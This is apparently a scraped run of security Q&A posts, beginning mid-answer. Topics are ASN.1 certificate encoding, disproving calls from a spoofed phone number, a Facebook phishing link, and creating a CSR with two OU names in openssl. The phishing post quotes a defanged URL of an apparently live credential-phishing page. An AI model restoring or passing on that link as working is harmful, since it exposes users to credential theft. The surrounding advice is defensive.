Using ASN.1, the same information can be encoded in different ways. (For example: the "Common Name" field might be encoded as UTF-8 or something more like ASCII. And there is a tag field that says what the encoding is. So even if the encoded data looks exactly the same, it might be encoded in a different way. And this will totally change the hash value.)

Nesting in ASN.1
Also, there are different ways to nest things that wind up meaning the same thing. And I don't think "-noout -text" exposes these intricacies to you.

ASN1PARSE printout might save you
If you really, really want to know the innards of cert, you need OpenSSLs "asn1parse". (So if you had an asn1parse printout, then you could (in principle) parse this back into binary bit-perfectly.)


How can I prove calls or messages from a spoofed number are fake? Situation

There are 3 people. Person A, B and the victim, C. Person A asks person B to spoof their phone number to look like the phone number of person C. Person A wants to report person C for harassment using this technique.

Question

I know that phone records would show that person C did not make any calls or texts out to person A, but what all besides provide his own phone records could person C do to prove that he was not the one who make the calls or sent the messages?

First of all, it's important to note that this answer is relevant to United States law, and shouldn't necessarily be taken as legal guidance, more-so a path of reasoning out a solution that may be applicable to you depending on your country etc.

If they choose to actually report the fake evidence to the authorities, you should look into having the police check their call history with their phone service provider, as well as yours. I'm aware of online phone services on the web and through apps that could potentially be used for this kind of thing. Make sure to let the appropriate people know that this is a possibility, in which case they may need to check the suspect's internet history on their computers and ISP.

Faking evidence is unlawful and if you would like, you might could press charges and potentially solve your problem.

Some helpful links below -

https://en.wikipedia.org/wiki/False_evidence

https://en.wikipedia.org/wiki/Perjury

https://en.wikipedia.org/wiki/Malicious_prosecution


What are these links that have been sent to me multiple times on facebook? 2 friends of mine have sent me very suspicious links on facebook, which ask me for credentials on an external site. Entering hello@example.com in the username, and 1234 for the password let me in, and redirect me to some car specifications, even though the post said that it was a video.

I accessed this through a phone, and chrome extensions don't apply there AFAIK, am I safe?

I have seen previous questions on SE which suggest that it is possible to buffer overflow an image with metadata, that gets executed with some memory address trick (the question can be found at: Can you get a trojan in an image file?). Could something similar apply to browsers and links?

Apart from that, it could just be any old phishing attack, but alot of people posted the exact same link on FB. A friend had reportedly recieved the same link from his relatives. Does anyone know the origin of this?

UPDATE: Decided to view page's Javascript with TOR (Noscript of course). I will pastebin the deobf code. Its full of obfuscation, and written in 1 line, making it time-consuming to space apart. Also, the title, and some JS is written in things like &#3626, etc.

I am posting the link here if someone recognizes it, but PLEASE don't access it.

hxxp://ngovanhungxyz1.com/linhdeptraina/vipcute/chat/?utm_source=Facebook&utm_medium=X%C3%A3%20h%E1%BB%99i

A screenshot of the page looks like this:

It is full of badly translated Czech, and notice some untranslated segments at the bottom too. The header is completely missing content too.

This is a textbook phishing attempt. A phishing attack consists of sending a user to a page that looks like the service they use in an attempt to get their login credentials or other sensitive information. Notice the domain name is not facebook.com. Normally they try to fake this or use domains that look like facebook.com such as faceb0ok.com or facebook.s0a.com. But you could do it with any domain. They likely chose this one to get around Facebook's URL filters.

If you have logged in here immediately log on to the real Facebook and change your login details and security questions. Additionally you likely got this link from someone that submitted their information. So should check and make sure your Facebook account didn't distribute these links as well.

Even worse, if your Facebook's username and password matches your email's. Change those immediately or they could gain access to much more than your Facebook.


Generate CSR with 2 OU Names I have to create an application which generates a CSR. While generating a CSR we are required to fill in several details like CN, OU, etc. The problem is that the Certifying Authority to which I have to send my CSR wants 2 OU(Organizational Unit) Names. I googled a lot but couldn't find anything using either openssl or java keytool by which I can specify 2 OU Names.

Can someone please tell me how I can specify 2 OU Names while generating the CSR?

You can do this easily with openssl:

openssl req -new -out myserver.csr \
  -newkey rsa:2048 -sha1 -nodes -keyout myserver.key  \
  -subj "/C=US/ST=New York/L=New York/O=My Company/OU=1st OU/OU=2nd OU/CN=www.myserver.net"

(If you already have a key you wish to use, omit -newkey rsa:2048 -sha1 -nodes and use -key myserver.key instead of -keyout ...)

You can inspect the CSR before you submit it with:

openssl req -in myserver.csr  -noout -text